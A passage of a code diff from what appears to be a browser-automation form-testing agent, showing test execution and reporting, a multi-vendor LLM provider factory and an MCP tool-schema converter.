+                    logger.info(f"🔄 Recovery successful for scenario: {scenario.name}")
+                    try:
+                        result = await self._execute_single_scenario(scenario)
+                        results.append(result)
+                        self.testing_stats["passed_tests"] += 1
+                        continue
+                    except:
+                        pass
+                
+                results.append(TestResult(
+                    scenario=scenario,
+                    success=False,
+                    actual_result="error",
+                    error_message=f"{str(e)}\n\nSuggested Fix:\n{detailed_error.suggested_fix}",
+                    timestamp=datetime.now()
+                ))
+                self.testing_stats["error_tests"] += 1
+        
+        self.test_results = results
+        logger.info(f"✅ Test execution complete: {len(results)} results collected")
+        logger.info(f"📊 Test Statistics: {self.testing_stats}")
+        return results
+
+    async def _execute_single_scenario(self, scenario: TestScenario) -> TestResult:
+        """Execute a single test scenario with enhanced error handling."""
+        try:
+            # Clear all form fields first
+            await self._clear_all_fields()
+            
+            # Fill form with test data
+            for field_name, value in scenario.data.items():
+                field = next((f for f in self.form_fields if f.name == field_name), None)
+                if field:
+                    try:
+                        await self._set_field_value(field, value)
+                        await asyncio.sleep(0.5)  # Small delay for validation
+                    except Exception as e:
+                        # Handle field filling errors with detailed context
+                        detailed_error = await self.error_handler.handle_action_error(
+                            error=e,
+                            action="fill_field",
+                            element_index=None,
+                            element_selector=f"[name='{field_name}']",
+                            input_value=str(value)
+                        )
+                        logger.warning(f"⚠️ Error setting field '{field_name}': {detailed_error.suggested_fix}")
+                        # Try alternative typing fallback for text-like fields
+                        try:
+                            await field.element.click()
+                            await field.element.type(str(value))
+                        except:
+                            logger.error(f"❌ Fallback typing failed for '{field_name}'")
+            
+            # Take screenshot before submission
+            screenshot_path = f"./screenshots/test_{scenario.name.replace(' ', '_')}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.png"
+            try:
+                await self.page.screenshot(path=screenshot_path)
+            except Exception as e:
+                logger.warning(f"⚠️ Failed to take screenshot: {e}")
+                screenshot_path = None
+            
+            # Submit form
+            submit_button = await self.page.locator("button[type='submit'], input[type='submit']").first
+            if await submit_button.count() > 0:
+                try:
+                    await submit_button.click()
+                    await asyncio.sleep(2)  # Wait for response
+                except Exception as e:
+                    detailed_error = await self.error_handler.handle_action_error(
+                        error=e,
+                        action="click_submit",
+                        element_index=None,
+                        element_selector="button[type='submit'], input[type='submit']",
+                        input_value=None
+                    )
+                    logger.warning(f"⚠️ Error clicking submit button: {detailed_error.suggested_fix}")
+            
+            # Analyze result
+            actual_result = await self._analyze_form_result()
+            
+            # Determine if test passed
+            success = self._evaluate_test_result(scenario, actual_result)
+            
+            return TestResult(
+                scenario=scenario,
+                success=success,
+                actual_result=actual_result,
+                screenshot_path=screenshot_path,
+                timestamp=datetime.now()
+            )
+            
+        except Exception as e:
+            # Use advanced error handler for detailed error information
+            detailed_error = await self.error_handler.handle_action_error(
+                error=e,
+                action="execute_single_scenario",
+                element_index=None,
+                element_selector=None,
+                input_value=scenario.name
+            )
+            
+            return TestResult(
+                scenario=scenario,
+                success=False,
+                actual_result="error",
+                error_message=f"{str(e)}\n\nDetailed Error Information:\n{detailed_error.suggested_fix}",
+                timestamp=datetime.now()
+            )
+
+    async def _set_field_value(self, field: FormField, value: Any):
+        """Set a field's value based on its type, supporting selects, checkboxes, radios, and files."""
+        t = (field.field_type or "").lower()
+        elem = field.element
+        if t in ["text", "email", "password", "url", "tel", "search", "textarea", "number", "date", "time", "datetime-local", "month", "week"]:
+            await elem.fill(str(value))
+        elif t in ["select", "select-one", "select-multiple"]:
+            # Prefer option value; fallback to label
+            try:
+                await elem.select_option(str(value))
+            except Exception:
+                # Try by label
+                await elem.select_option(label=str(value))
+        elif t == "checkbox":
+            should_check = bool(value)
+            if should_check:
+                await elem.check(force=True)
+            else:
+                await elem.uncheck(force=True)
+        elif t == "radio":
+            await elem.check(force=True)
+        elif t == "file":
+            try:
+                await elem.set_input_files(str(value))
+            except Exception as e:
+                raise e
+        else:
+            # Fallback to typing
+            await elem.fill(str(value))
+
+    async def _clear_all_fields(self):
+        """Clear all form fields."""
+        for field in self.form_fields:
+            try:
+                await field.element.clear()
+            except:
+                pass
+
+    async def _analyze_form_result(self) -> str:
+        """Analyze the result after form submission."""
+        try:
+            # Check for success indicators
+            success_indicators = [
+                "success", "welcome", "dashboard", "profile", "account",
+                "logged in", "signed in", "thank you", "confirmation"
+            ]
+            
+            page_content = await self.page.content()
+            page_text = page_content.lower()
+            
+            for indicator in success_indicators:
+                if indicator in page_text:
+                    return "success"
+            
+            # Check for error indicators
+            error_indicators = [
+                "error", "invalid", "incorrect", "failed", "wrong",
+                "required", "missing", "not found", "denied", "blocked"
+            ]
+            
+            for indicator in error_indicators:
+                if indicator in page_text:
+                    return "validation_error"
+            
+            # Check for security-related responses
+            security_indicators = [
+                "security", "blocked", "suspicious", "malicious",
+                "injection", "script", "xss", "sql"
+            ]
+            
+            for indicator in security_indicators:
+                if indicator in page_text:
+                    return "security_error"
+            
+            return "unknown"
+            
+        except Exception as e:
+            logger.error(f"Error analyzing form result: {e}")
+            return "error"
+
+    async def run_basic_accessibility_checks(self) -> Dict[str, Any]:
+        """Run fast, basic accessibility checks without external dependencies."""
+        issues: List[str] = []
+        try:
+            # Images without alt
+            img_without_alt = await self.page.locator("img:not([alt])").count()
+            if img_without_alt > 0:
+                issues.append(f"{img_without_alt} images missing alt text")
+
+            # Buttons without accessible name
+            btns = await self.page.locator("button").all()
+            missing_name = 0
+            for b in btns[:200]:
+                try:
+                    name = await b.get_attribute("aria-label")
+                    txt = await b.text_content()
+                    if not (name and name.strip()) and not (txt and txt.strip()):
+                        missing_name += 1
+                except Exception:
+                    continue
+            if missing_name:
+                issues.append(f"{missing_name} buttons without accessible name")
+
+            # Inputs missing label
+            unlabeled = 0
+            inputs = await self.page.locator("input, textarea, select").all()
+            for i in inputs[:300]:
+                try:
+                    id_attr = await i.get_attribute("id")
+                    aria = await i.get_attribute("aria-label")
+                    if id_attr:
+                        has_label = await self.page.locator(f"label[for='{id_attr}']").count() > 0
+                    else:
+                        has_label = False
+                    if not has_label and not (aria and aria.strip()):
+                        unlabeled += 1
+                except Exception:
+                    continue
+            if unlabeled:
+                issues.append(f"{unlabeled} inputs without label or aria-label")
+
+            # Tabindex anti-patterns
+            neg_tab = await self.page.locator("[tabindex='-1']").count()
+            if neg_tab:
+                issues.append(f"{neg_tab} elements with tabindex='-1'")
+
+            return {
+                "issues": issues,
+                "passed": len(issues) == 0
+            }
+        except Exception as e:
+            return {"error": str(e)}
+
+    def _evaluate_test_result(self, scenario: TestScenario, actual_result: str) -> bool:
+        """Evaluate whether a test scenario passed or failed."""
+        if scenario.expected_result == "success":
+            return actual_result == "success"
+        elif scenario.expected_result == "validation_error":
+            return actual_result in ["validation_error", "required_error"]
+        elif scenario.expected_result == "security_error":
+            return actual_result == "security_error"
+        elif scenario.expected_result == "authentication_error":
+            return actual_result in ["validation_error", "authentication_error"]
+        else:
+            return False
+
+    async def generate_comprehensive_report(self) -> Dict[str, Any]:
+        """Generate a comprehensive test report."""
+        logger.info("📊 Generating comprehensive test report...")
+        
+        total_tests = len(self.test_results)
+        passed_tests = sum(1 for r in self.test_results if r.success)
+        failed_tests = total_tests - passed_tests
+        
+        # Categorize results
+        by_scenario_type = {}
+        by_priority = {1: [], 2: [], 3: []}
+        security_tests = []
+        validation_tests = []
+        
+        for result in self.test_results:
+            scenario_name = result.scenario.name
+            scenario_type = scenario_name.split(" - ")[0] if " - " in scenario_name else "Other"
+            
+            if scenario_type not in by_scenario_type:
+                by_scenario_type[scenario_type] = []
+            by_scenario_type[scenario_type].append(result)
+            
+            by_priority[result.scenario.priority].append(result)
+            
+            if "SQL Injection" in scenario_name or "XSS" in scenario_name:
+                security_tests.append(result)
+            else:
+                validation_tests.append(result)
+        
+        # Calculate metrics
+        success_rate = (passed_tests / total_tests * 100) if total_tests > 0 else 0
+        
+        report = {
+            "summary": {
+                "total_tests": total_tests,
+                "passed_tests": passed_tests,
+                "failed_tests": failed_tests,
+                "success_rate": round(success_rate, 2),
+                "test_duration": "N/A",  # Could be calculated if we track start/end times
+                "timestamp": datetime.now().isoformat()
+            },
+            "by_scenario_type": {
+                scenario_type: {
+                    "total": len(results),
+                    "passed": sum(1 for r in results if r.success),
+                    "failed": sum(1 for r in results if not r.success)
+                }
+                for scenario_type, results in by_scenario_type.items()
+            },
+            "by_priority": {
+                f"Priority {priority}": {
+                    "total": len(results),
+                    "passed": sum(1 for r in results if r.success),
+                    "failed": sum(1 for r in results if not r.success)
+                }
+                for priority, results in by_priority.items() if results
+            },
+            "security_tests": {
+                "total": len(security_tests),
+                "passed": sum(1 for r in security_tests if r.success),
+                "failed": sum(1 for r in security_tests if not r.success)
+            },
+            "validation_tests": {
+                "total": len(validation_tests),
+                "passed": sum(1 for r in validation_tests if r.success),
+                "failed": sum(1 for r in validation_tests if not r.success)
+            },
+            "detailed_results": [
+                {
+                    "scenario_name": result.scenario.name,
+                    "description": result.scenario.description,
+                    "priority": result.scenario.priority,
+                    "success": result.success,
+                    "expected_result": result.scenario.expected_result,
+                    "actual_result": result.actual_result,
+                    "error_message": result.error_message,
+                    "screenshot_path": result.screenshot_path,
+                    "timestamp": result.timestamp.isoformat() if result.timestamp else None
+                }
+                for result in self.test_results
+            ],
+            "recommendations": self._generate_recommendations()
+        }
+        
+        logger.info(f"✅ Comprehensive report generated: {passed_tests}/{total_tests} tests passed ({success_rate:.1f}%)")
+        return report
+    
+    def get_detailed_error_report(self) -> Dict[str, Any]:
+        """Get detailed error report with comprehensive analysis."""
+        error_summary = self.error_handler.get_error_summary()
+        
+        return {
+            "testing_statistics": self.testing_stats,
+            "error_analysis": error_summary,
+            "form_field_analysis": {
+                "total_fields": len(self.form_fields),
+                "field_types": {
+                    field.field_type: sum(1 for f in self.form_fields if f.field_type == field.field_type)
+                    for field in self.form_fields
+                },
+                "required_fields": sum(1 for field in self.form_fields if field.required),
+                "fields_with_validation": sum(1 for field in self.form_fields if field.validation_pattern)
+            },
+            "test_coverage": {
+                "scenarios_executed": len(self.test_results),
+                "success_rate": f"{(self.testing_stats['passed_tests'] / max(self.testing_stats['total_tests'], 1) * 100):.2f}%",
+                "error_rate": f"{(self.testing_stats['error_tests'] / max(self.testing_stats['total_tests'], 1) * 100):.2f}%"
+            },
+            "recommendations": self._generate_improvement_recommendations()
+        }
+    
+    def _generate_improvement_recommendations(self) -> List[str]:
+        """Generate improvement recommendations based on test results."""
+        recommendations = []
+        
+        if self.testing_stats["error_tests"] > 0:
+            recommendations.append("🔧 Consider improving error handling and field validation")
+        
+        if self.testing_stats["passed_tests"] < self.testing_stats["total_tests"] * 0.8:
+            recommendations.append("📈 Review form validation logic and user experience")
+        
+        if len(self.form_fields) == 0:
+            recommendations.append("🔍 No form fields detected - verify page content and selectors")
+        
+        if self.testing_stats["error_tests"] > self.testing_stats["total_tests"] * 0.3:
+            recommendations.append("⚠️ High error rate detected - check page stability and element selectors")
+        
+        return recommendations
+
+    def _generate_recommendations(self) -> List[str]:
+        """Generate recommendations based on test results."""
+        recommendations = []
+        
+        failed_tests = [r for r in self.test_results if not r.success]
+        
+        if not failed_tests:
+            recommendations.append("🎉 All tests passed! The form validation is working correctly.")
+            return recommendations
+        
+        # Analyze failure patterns
+        validation_failures = [r for r in failed_tests if "validation" in r.scenario.name.lower()]
+        security_failures = [r for r in failed_tests if any(x in r.scenario.name.lower() for x in ["sql", "xss", "injection"])]
+        required_failures = [r for r in failed_tests if "empty" in r.scenario.name.lower()]
+        
+        if validation_failures:
+            recommendations.append("⚠️ Some validation tests failed. Review form validation rules and error messages.")
+        
+        if security_failures:
+            recommendations.append("🔒 Security tests failed. Implement proper input sanitization and validation.")
+        
+        if required_failures:
+            recommendations.append("📝 Required field validation needs improvement. Ensure proper error messages for empty required fields.")
+        
+        # Specific recommendations based on field types
+        email_failures = [r for r in failed_tests if "email" in r.scenario.name.lower()]
+        if email_failures:
+            recommendations.append("📧 Email validation needs improvement. Implement proper email format validation.")
+        
+        password_failures = [r for r in failed_tests if "password" in r.scenario.name.lower()]
+        if password_failures:
+            recommendations.append("🔐 Password validation needs improvement. Implement proper password strength requirements.")
+        
+        return recommendations

src/utils/llm_provider.py

@@ -0,0 +1,366 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - LLM Provider
+========================================================
+
+LLM provider utilities and configurations for the Fagun Browser Automation Testing Agent.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+from openai import OpenAI
+import pdb
+from langchain_openai import ChatOpenAI
+from langchain_core.globals import get_llm_cache
+from langchain_core.language_models.base import (
+    BaseLanguageModel,
+    LangSmithParams,
+    LanguageModelInput,
+)
+import os
+from langchain_core.load import dumpd, dumps
+from langchain_core.messages import (
+    AIMessage,
+    SystemMessage,
+    AnyMessage,
+    BaseMessage,
+    BaseMessageChunk,
+    HumanMessage,
+    convert_to_messages,
+    message_chunk_to_message,
+)
+from langchain_core.outputs import (
+    ChatGeneration,
+    ChatGenerationChunk,
+    ChatResult,
+    LLMResult,
+    RunInfo,
+)
+from langchain_ollama import ChatOllama
+from langchain_core.output_parsers.base import OutputParserLike
+from langchain_core.runnables import Runnable, RunnableConfig
+from langchain_core.tools import BaseTool
+
+from typing import (
+    TYPE_CHECKING,
+    Any,
+    Callable,
+    Literal,
+    Optional,
+    Union,
+    cast, List,
+)
+from langchain_anthropic import ChatAnthropic
+from langchain_mistralai import ChatMistralAI
+from langchain_google_genai import ChatGoogleGenerativeAI
+from langchain_ollama import ChatOllama
+from langchain_openai import AzureChatOpenAI, ChatOpenAI
+from langchain_ibm import ChatWatsonx
+from langchain_aws import ChatBedrock
+from pydantic import SecretStr
+
+from src.utils import config
+
+
+class DeepSeekR1ChatOpenAI(ChatOpenAI):
+
+    def __init__(self, *args: Any, **kwargs: Any) -> None:
+        super().__init__(*args, **kwargs)
+        self.client = OpenAI(
+            base_url=kwargs.get("base_url"),
+            api_key=kwargs.get("api_key")
+        )
+
+    async def ainvoke(
+            self,
+            input: LanguageModelInput,
+            config: Optional[RunnableConfig] = None,
+            *,
+            stop: Optional[list[str]] = None,
+            **kwargs: Any,
+    ) -> AIMessage:
+        message_history = []
+        for input_ in input:
+            if isinstance(input_, SystemMessage):
+                message_history.append({"role": "system", "content": input_.content})
+            elif isinstance(input_, AIMessage):
+                message_history.append({"role": "assistant", "content": input_.content})
+            else:
+                message_history.append({"role": "user", "content": input_.content})
+
+        response = self.client.chat.completions.create(
+            model=self.model_name,
+            messages=message_history
+        )
+
+        reasoning_content = response.choices[0].message.reasoning_content
+        content = response.choices[0].message.content
+        return AIMessage(content=content, reasoning_content=reasoning_content)
+
+    def invoke(
+            self,
+            input: LanguageModelInput,
+            config: Optional[RunnableConfig] = None,
+            *,
+            stop: Optional[list[str]] = None,
+            **kwargs: Any,
+    ) -> AIMessage:
+        message_history = []
+        for input_ in input:
+            if isinstance(input_, SystemMessage):
+                message_history.append({"role": "system", "content": input_.content})
+            elif isinstance(input_, AIMessage):
+                message_history.append({"role": "assistant", "content": input_.content})
+            else:
+                message_history.append({"role": "user", "content": input_.content})
+
+        response = self.client.chat.completions.create(
+            model=self.model_name,
+            messages=message_history
+        )
+
+        reasoning_content = response.choices[0].message.reasoning_content
+        content = response.choices[0].message.content
+        return AIMessage(content=content, reasoning_content=reasoning_content)
+
+
+class DeepSeekR1ChatOllama(ChatOllama):
+
+    async def ainvoke(
+            self,
+            input: LanguageModelInput,
+            config: Optional[RunnableConfig] = None,
+            *,
+            stop: Optional[list[str]] = None,
+            **kwargs: Any,
+    ) -> AIMessage:
+        org_ai_message = await super().ainvoke(input=input)
+        org_content = org_ai_message.content
+        reasoning_content = org_content.split("</think>")[0].replace("<think>", "")
+        content = org_content.split("</think>")[1]
+        if "**JSON Response:**" in content:
+            content = content.split("**JSON Response:**")[-1]
+        return AIMessage(content=content, reasoning_content=reasoning_content)
+
+    def invoke(
+            self,
+            input: LanguageModelInput,
+            config: Optional[RunnableConfig] = None,
+            *,
+            stop: Optional[list[str]] = None,
+            **kwargs: Any,
+    ) -> AIMessage:
+        org_ai_message = super().invoke(input=input)
+        org_content = org_ai_message.content
+        reasoning_content = org_content.split("</think>")[0].replace("<think>", "")
+        content = org_content.split("</think>")[1]
+        if "**JSON Response:**" in content:
+            content = content.split("**JSON Response:**")[-1]
+        return AIMessage(content=content, reasoning_content=reasoning_content)
+
+
+def get_llm_model(provider: str, **kwargs):
+    """
+    Get LLM model
+    :param provider: LLM provider
+    :param kwargs:
+    :return:
+    """
+    if provider not in ["ollama", "bedrock"]:
+        env_var = f"{provider.upper()}_API_KEY"
+        api_key = kwargs.get("api_key", "") or os.getenv(env_var, "")
+        if not api_key:
+            provider_display = config.PROVIDER_DISPLAY_NAMES.get(provider, provider.upper())
+            error_msg = f"💥 {provider_display} API key not found! 🔑 Please set the `{env_var}` environment variable or provide it in the UI."
+            raise ValueError(error_msg)
+        kwargs["api_key"] = api_key
+
+    if provider == "anthropic":
+        if not kwargs.get("base_url", ""):
+            base_url = "https://api.anthropic.com"
+        else:
+            base_url = kwargs.get("base_url")
+
+        return ChatAnthropic(
+            model=kwargs.get("model_name", "claude-3-5-sonnet-20241022"),
+            temperature=kwargs.get("temperature", 0.0),
+            base_url=base_url,
+            api_key=api_key,
+        )
+    elif provider == 'mistral':
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("MISTRAL_ENDPOINT", "https://api.mistral.ai/v1")
+        else:
+            base_url = kwargs.get("base_url")
+        if not kwargs.get("api_key", ""):
+            api_key = os.getenv("MISTRAL_API_KEY", "")
+        else:
+            api_key = kwargs.get("api_key")
+
+        return ChatMistralAI(
+            model=kwargs.get("model_name", "mistral-large-latest"),
+            temperature=kwargs.get("temperature", 0.0),
+            base_url=base_url,
+            api_key=api_key,
+        )
+    elif provider == "openai":
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("OPENAI_ENDPOINT", "https://api.openai.com/v1")
+        else:
+            base_url = kwargs.get("base_url")
+
+        return ChatOpenAI(
+            model=kwargs.get("model_name", "gpt-4o"),
+            temperature=kwargs.get("temperature", 0.0),
+            base_url=base_url,
+            api_key=api_key,
+        )
+    elif provider == "grok":
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("GROK_ENDPOINT", "https://api.x.ai/v1")
+        else:
+            base_url = kwargs.get("base_url")
+
+        return ChatOpenAI(
+            model=kwargs.get("model_name", "grok-3"),
+            temperature=kwargs.get("temperature", 0.0),
+            base_url=base_url,
+            api_key=api_key,
+        )
+    elif provider == "deepseek":
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("DEEPSEEK_ENDPOINT", "")
+        else:
+            base_url = kwargs.get("base_url")
+
+        if kwargs.get("model_name", "deepseek-chat") == "deepseek-reasoner":
+            return DeepSeekR1ChatOpenAI(
+                model=kwargs.get("model_name", "deepseek-reasoner"),
+                temperature=kwargs.get("temperature", 0.0),
+                base_url=base_url,
+                api_key=api_key,
+            )
+        else:
+            return ChatOpenAI(
+                model=kwargs.get("model_name", "deepseek-chat"),
+                temperature=kwargs.get("temperature", 0.0),
+                base_url=base_url,
+                api_key=api_key,
+            )
+    elif provider == "google":
+        return ChatGoogleGenerativeAI(
+            model=kwargs.get("model_name", "gemini-2.0-flash-exp"),
+            temperature=kwargs.get("temperature", 0.0),
+            api_key=api_key,
+        )
+    elif provider == "ollama":
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("OLLAMA_ENDPOINT", "http://localhost:11434")
+        else:
+            base_url = kwargs.get("base_url")
+
+        if "deepseek-r1" in kwargs.get("model_name", "qwen2.5:7b"):
+            return DeepSeekR1ChatOllama(
+                model=kwargs.get("model_name", "deepseek-r1:14b"),
+                temperature=kwargs.get("temperature", 0.0),
+                num_ctx=kwargs.get("num_ctx", 32000),
+                base_url=base_url,
+            )
+        else:
+            return ChatOllama(
+                model=kwargs.get("model_name", "qwen2.5:7b"),
+                temperature=kwargs.get("temperature", 0.0),
+                num_ctx=kwargs.get("num_ctx", 32000),
+                num_predict=kwargs.get("num_predict", 1024),
+                base_url=base_url,
+            )
+    elif provider == "azure_openai":
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("AZURE_OPENAI_ENDPOINT", "")
+        else:
+            base_url = kwargs.get("base_url")
+        api_version = kwargs.get("api_version", "") or os.getenv("AZURE_OPENAI_API_VERSION", "2025-01-01-preview")
+        return AzureChatOpenAI(
+            model=kwargs.get("model_name", "gpt-4o"),
+            temperature=kwargs.get("temperature", 0.0),
+            api_version=api_version,
+            azure_endpoint=base_url,
+            api_key=api_key,
+        )
+    elif provider == "alibaba":
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("ALIBABA_ENDPOINT", "https://dashscope.aliyuncs.com/compatible-mode/v1")
+        else:
+            base_url = kwargs.get("base_url")
+
+        return ChatOpenAI(
+            model=kwargs.get("model_name", "qwen-plus"),
+            temperature=kwargs.get("temperature", 0.0),
+            base_url=base_url,
+            api_key=api_key,
+        )
+    elif provider == "ibm":
+        parameters = {
+            "temperature": kwargs.get("temperature", 0.0),
+            "max_tokens": kwargs.get("num_ctx", 32000)
+        }
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("IBM_ENDPOINT", "https://us-south.ml.cloud.ibm.com")
+        else:
+            base_url = kwargs.get("base_url")
+
+        return ChatWatsonx(
+            model_id=kwargs.get("model_name", "ibm/granite-vision-3.1-2b-preview"),
+            url=base_url,
+            project_id=os.getenv("IBM_PROJECT_ID"),
+            apikey=os.getenv("IBM_API_KEY"),
+            params=parameters
+        )
+    elif provider == "moonshot":
+        return ChatOpenAI(
+            model=kwargs.get("model_name", "moonshot-v1-32k-vision-preview"),
+            temperature=kwargs.get("temperature", 0.0),
+            base_url=os.getenv("MOONSHOT_ENDPOINT"),
+            api_key=os.getenv("MOONSHOT_API_KEY"),
+        )
+    elif provider == "unbound":
+        return ChatOpenAI(
+            model=kwargs.get("model_name", "gpt-4o-mini"),
+            temperature=kwargs.get("temperature", 0.0),
+            base_url=os.getenv("UNBOUND_ENDPOINT", "https://api.getunbound.ai"),
+            api_key=api_key,
+        )
+    elif provider == "siliconflow":
+        if not kwargs.get("api_key", ""):
+            api_key = os.getenv("SiliconFLOW_API_KEY", "")
+        else:
+            api_key = kwargs.get("api_key")
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("SiliconFLOW_ENDPOINT", "")
+        else:
+            base_url = kwargs.get("base_url")
+        return ChatOpenAI(
+            api_key=api_key,
+            base_url=base_url,
+            model_name=kwargs.get("model_name", "Qwen/QwQ-32B"),
+            temperature=kwargs.get("temperature", 0.0),
+        )
+    elif provider == "modelscope":
+        if not kwargs.get("api_key", ""):
+            api_key = os.getenv("MODELSCOPE_API_KEY", "")
+        else:
+            api_key = kwargs.get("api_key")
+        if not kwargs.get("base_url", ""):
+            base_url = os.getenv("MODELSCOPE_ENDPOINT", "")
+        else:
+            base_url = kwargs.get("base_url")
+        return ChatOpenAI(
+            api_key=api_key,
+            base_url=base_url,
+            model_name=kwargs.get("model_name", "Qwen/QwQ-32B"),
+            temperature=kwargs.get("temperature", 0.0),
+            extra_body = {"enable_thinking": False}
+        )
+    else:
+        raise ValueError(f"Unsupported provider: {provider}")

src/utils/mcp_client.py

@@ -0,0 +1,254 @@
+import inspect
+import logging
+import uuid
+from datetime import date, datetime, time
+from enum import Enum
+from typing import Any, Dict, List, Optional, Set, Type, Union, get_type_hints
+
+from browser_use.controller.registry.views import ActionModel
+from langchain.tools import BaseTool
+from langchain_mcp_adapters.client import MultiServerMCPClient
+from pydantic import BaseModel, Field, create_model
+from pydantic.v1 import BaseModel, Field
+
+logger = logging.getLogger(__name__)
+
+
+async def setup_mcp_client_and_tools(mcp_server_config: Dict[str, Any]) -> Optional[MultiServerMCPClient]:
+    """
+    Initializes the MultiServerMCPClient, connects to servers, fetches tools,
+    filters them, and returns a flat list of usable tools and the client instance.
+
+    Returns:
+        A tuple containing:
+        - list[BaseTool]: The filtered list of usable LangChain tools.
+        - MultiServerMCPClient | None: The initialized and started client instance, or None on failure.
+    """
+
+    logger.info("Initializing MultiServerMCPClient...")
+
+    if not mcp_server_config:
+        logger.error("No MCP server configuration provided.")
+        return None
+
+    try:
+        if "mcpServers" in mcp_server_config:
+            mcp_server_config = mcp_server_config["mcpServers"]
+        client = MultiServerMCPClient(mcp_server_config)
+        await client.__aenter__()
+        return client
+
+    except Exception as e:
+        logger.error(f"Failed to setup MCP client or fetch tools: {e}", exc_info=True)
+        return None
+
+
+def create_tool_param_model(tool: BaseTool) -> Type[BaseModel]:
+    """Creates a Pydantic model from a LangChain tool's schema"""
+
+    # Get tool schema information
+    json_schema = tool.args_schema
+    tool_name = tool.name
+
+    # If the tool already has a schema defined, convert it to a new param_model
+    if json_schema is not None:
+
+        # Create new parameter model
+        params = {}
+
+        # Process properties if they exist
+        if 'properties' in json_schema:
+            # Find required fields
+            required_fields: Set[str] = set(json_schema.get('required', []))
+
+            for prop_name, prop_details in json_schema['properties'].items():
+                field_type = resolve_type(prop_details, f"{tool_name}_{prop_name}")
+
+                # Check if parameter is required
+                is_required = prop_name in required_fields
+
+                # Get default value and description
+                default_value = prop_details.get('default', ... if is_required else None)
+                description = prop_details.get('description', '')
+
+                # Add field constraints
+                field_kwargs = {'default': default_value}
+                if description:
+                    field_kwargs['description'] = description
+
+                # Add additional constraints if present
+                if 'minimum' in prop_details:
+                    field_kwargs['ge'] = prop_details['minimum']
+                if 'maximum' in prop_details:
+                    field_kwargs['le'] = prop_details['maximum']
+                if 'minLength' in prop_details:
+                    field_kwargs['min_length'] = prop_details['minLength']
+                if 'maxLength' in prop_details:
+                    field_kwargs['max_length'] = prop_details['maxLength']
+                if 'pattern' in prop_details:
+                    field_kwargs['pattern'] = prop_details['pattern']
+
+                # Add to parameters dictionary
+                params[prop_name] = (field_type, Field(**field_kwargs))
+
+        return create_model(
+            f'{tool_name}_parameters',
+            __base__=ActionModel,
+            **params,  # type: ignore
+        )
+
+    # If no schema is defined, extract parameters from the _run method
+    run_method = tool._run
+    sig = inspect.signature(run_method)
+
+    # Get type hints for better type information
+    try:
+        type_hints = get_type_hints(run_method)
+    except Exception:
+        type_hints = {}
+
+    params = {}
+    for name, param in sig.parameters.items():
+        # Skip 'self' parameter and any other parameters you want to exclude
+        if name == 'self':
+            continue
+
+        # Get annotation from type hints if available, otherwise from signature
+        annotation = type_hints.get(name, param.annotation)
+        if annotation == inspect.Parameter.empty:
+            annotation = Any
+
+        # Use default value if available, otherwise make it required
+        if param.default != param.empty:
+            params[name] = (annotation, param.default)
+        else:
+            params[name] = (annotation, ...)
+
+    return create_model(
+        f'{tool_name}_parameters',
+        __base__=ActionModel,
+        **params,  # type: ignore
+    )
+
+
+def resolve_type(prop_details: Dict[str, Any], prefix: str = "") -> Any:
+    """Recursively resolves JSON schema type to Python/Pydantic type"""
+
+    # Handle reference types
+    if '$ref' in prop_details:
+        # In a real application, reference resolution would be needed
+        return Any
+
+    # Basic type mapping
+    type_mapping = {
+        'string': str,
+        'integer': int,
+        'number': float,
+        'boolean': bool,
+        'array': List,
+        'object': Dict,
+        'null': type(None),
+    }
+
+    # Handle formatted strings
+    if prop_details.get('type') == 'string' and 'format' in prop_details:
+        format_mapping = {
+            'date-time': datetime,
+            'date': date,
+            'time': time,
+            'email': str,
+            'uri': str,
+            'url': str,
+            'uuid': uuid.UUID,
+            'binary': bytes,
+        }
+        return format_mapping.get(prop_details['format'], str)
+
+    # Handle enum types
+    if 'enum' in prop_details:
+        enum_values = prop_details['enum']
+        # Create dynamic enum class with safe names
+        enum_dict = {}
+        for i, v in enumerate(enum_values):
+            # Ensure enum names are valid Python identifiers
+            if isinstance(v, str):
+                key = v.upper().replace(' ', '_').replace('-', '_')
+                if not key.isidentifier():
+                    key = f"VALUE_{i}"
+            else:
+                key = f"VALUE_{i}"
+            enum_dict[key] = v
+
+        # Only create enum if we have values
+        if enum_dict:
+            return Enum(f"{prefix}_Enum", enum_dict)
+        return str  # Fallback
+
+    # Handle array types
+    if prop_details.get('type') == 'array' and 'items' in prop_details:
+        item_type = resolve_type(prop_details['items'], f"{prefix}_item")
+        return List[item_type]  # type: ignore
+
+    # Handle object types with properties
+    if prop_details.get('type') == 'object' and 'properties' in prop_details:
+        nested_params = {}
+        for nested_name, nested_details in prop_details['properties'].items():
+            nested_type = resolve_type(nested_details, f"{prefix}_{nested_name}")
+            # Get required field info
+            required_fields = prop_details.get('required', [])
+            is_required = nested_name in required_fields
+            default_value = nested_details.get('default', ... if is_required else None)
+            description = nested_details.get('description', '')
+
+            field_kwargs = {'default': default_value}
+            if description:
+                field_kwargs['description'] = description
+
+            nested_params[nested_name] = (nested_type, Field(**field_kwargs))
+
+        # Create nested model
+        nested_model = create_model(f"{prefix}_Model", **nested_params)
+        return nested_model
+
+    # Handle union types (oneOf, anyOf)
+    if 'oneOf' in prop_details or 'anyOf' in prop_details:
+        union_schema = prop_details.get('oneOf') or prop_details.get('anyOf')
+        union_types = []
+        for i, t in enumerate(union_schema):
+            union_types.append(resolve_type(t, f"{prefix}_{i}"))
+
+        if union_types:
+            return Union.__getitem__(tuple(union_types))  # type: ignore
+        return Any
+
+    # Handle allOf (intersection types)
+    if 'allOf' in prop_details:
+        nested_params = {}
+        for i, schema_part in enumerate(prop_details['allOf']):
+            if 'properties' in schema_part:
+                for nested_name, nested_details in schema_part['properties'].items():
+                    nested_type = resolve_type(nested_details, f"{prefix}_allOf_{i}_{nested_name}")
+                    # Check if required
+                    required_fields = schema_part.get('required', [])
+                    is_required = nested_name in required_fields
+                    nested_params[nested_name] = (nested_type, ... if is_required else None)
+
+        # Create composite model
+        if nested_params:
